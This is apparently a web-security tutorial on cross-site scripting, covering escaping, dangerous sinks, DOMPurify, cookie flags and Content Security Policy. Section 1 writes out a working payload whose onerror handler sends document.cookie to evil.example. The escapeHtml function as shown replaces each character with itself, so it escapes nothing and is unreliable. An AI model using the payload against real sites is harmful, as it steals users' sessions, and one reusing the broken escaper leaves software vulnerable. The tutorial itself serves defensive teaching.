Cross-site scripting is the most common serious web vulnerability. An attacker gets their JavaScript to run in your page, in your origin, with your users' sessions. Every defence comes down to one rule: never let untrusted data become markup.
Learning objectives
- Distinguish stored, reflected and DOM-based XSS.
- Escape output and choose safe DOM APIs.
- Sanitise HTML when you genuinely need to render it.
- Add a Content Security Policy as a second layer.
1. How it happens
<!-- the page renders a comment -->
<div id="comment"></div>
<script>
const comment = "<img src=x onerror=\"fetch('https://evil.example/steal?c='+document.cookie)\">";
document.getElementById("comment").innerHTML = comment;
</script>
The browser parses the string as HTML, the image fails to load, onerror runs, and the cookie is sent to the attacker. Three lines, full account takeover.
Stored XSS — the payload is saved (comment, profile, product review) and served to every visitor.
Reflected XSS — the payload is in the request (search query, error message) and echoed back.
DOM XSS — client-side code writes attacker-controlled data into innerHTML, eval, location, or a javascript: URL.
2. Escape on output
The context determines the encoding. HTML text, an attribute, a URL and a <script> block all need different escaping.
// text content — safe by construction
element.textContent = userInput;
// attribute — set the property, not a string of markup
link.href = safeUrl;
link.title = userInput;
// template rendering — escape every interpolation
function escapeHtml(value) {
return String(value)
.replaceAll("&", "&")
.replaceAll("<", "<")
.replaceAll(">", ">")
.replaceAll('"', """)
.replaceAll("'", "'");
}
Frameworks do this for you: React escapes {value} in JSX by default. dangerouslySetInnerHTML is named that way for a reason.
3. The dangerous sinks
Avoid these with untrusted data:
innerHTML,outerHTML,insertAdjacentHTMLdocument.writeeval,new Function,setTimeout("string")element.setAttribute("onclick", ...)href/srcvalues starting withjavascript:
If you must render HTML, sanitise it first with a maintained library such as DOMPurify:
import DOMPurify from "dompurify";
const clean = DOMPurify.sanitize(userHtml, { USE_PROFILES: { html: true } });
container.innerHTML = clean;
Sanitising is a last resort, not the first choice. Prefer storing plain text.
4. Cookies and tokens
res.cookie("session", token, {
httpOnly: true, // JavaScript cannot read it
secure: true, // HTTPS only
sameSite: "lax", // not sent on most cross-site requests
maxAge: 7 * 24 * 60 * 60 * 1000,
});
httpOnly does not prevent XSS — the attacker can still act as the user in the page — but it prevents stealing the session token directly.
5. Content Security Policy
CSP tells the browser which sources may execute or load:
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
With script-src 'self', an injected inline <script> or onerror= handler does not run. Inline styles and scripts must be moved to files or allowed with a nonce/hash. Start in report-only mode:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
6. Defence in depth
- Escape on output, by context.
- Use safe APIs (
textContent, React). - Sanitise rich HTML with DOMPurify.
- Set
HttpOnly+Secure+SameSitecookies. - Add CSP and
X-Content-Type-Options: nosniff. - Validate input on the server — not as the only defence, but as hygiene.
Common mistakes
- Believing client-side validation prevents XSS (the attacker sends requests directly).
- Escaping on input and storing the escaped string — double-encoding bugs and broken data.
- Allowing
script-src 'unsafe-inline'and calling it a CSP. - Trusting a
javascript:URL because it came from your own database.
Practice
Fix the vulnerable comment board in the assignment. Then add a CSP and confirm the payload no longer executes.